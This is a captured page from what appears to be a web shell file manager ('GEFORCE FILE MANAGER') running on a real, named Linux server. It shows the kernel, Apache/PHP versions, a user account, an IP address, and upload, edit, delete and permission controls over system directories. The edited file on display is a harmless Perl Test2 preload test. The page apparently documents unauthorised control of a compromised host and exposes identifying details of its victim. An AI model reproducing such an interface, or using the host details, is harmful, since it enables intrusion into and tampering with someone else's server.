[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.20
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
share
/
doc
/
perl-Test-Simple
/
t
/
Legacy_And_Test2
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 builder_loaded_late.t
572 B
SET
[ EDIT ]
|
[ DEL ]
📄 diag_event_on_ok.t
499 B
SET
[ EDIT ]
|
[ DEL ]
📄 hidden_warnings.t
307 B
SET
[ EDIT ]
|
[ DEL ]
📄 preload_diag_note.t
668 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: preload_diag_note.t
use strict; use warnings; if ($] lt "5.008") { print "1..0 # SKIP Test cannot run on perls below 5.8.0\n"; exit 0; } BEGIN { require Test2::API; Test2::API::test2_start_preload(); } use Test::More; my ($stdout, $stderr) = ('', ''); { local *STDOUT; open(STDOUT, '>', \$stdout) or die "Could not open temp STDOUT"; local *STDERR; open(STDERR, '>', \$stderr) or die "Could not open temp STDOUT"; diag("test\n", "diag\nfoo"); note("test\n", "note\nbar"); } Test2::API::test2_stop_preload(); is($stdout, <<EOT, "Got stdout"); # test # note # bar EOT is($stderr, <<EOT, "Got stderr"); # test # diag # foo EOT done_testing;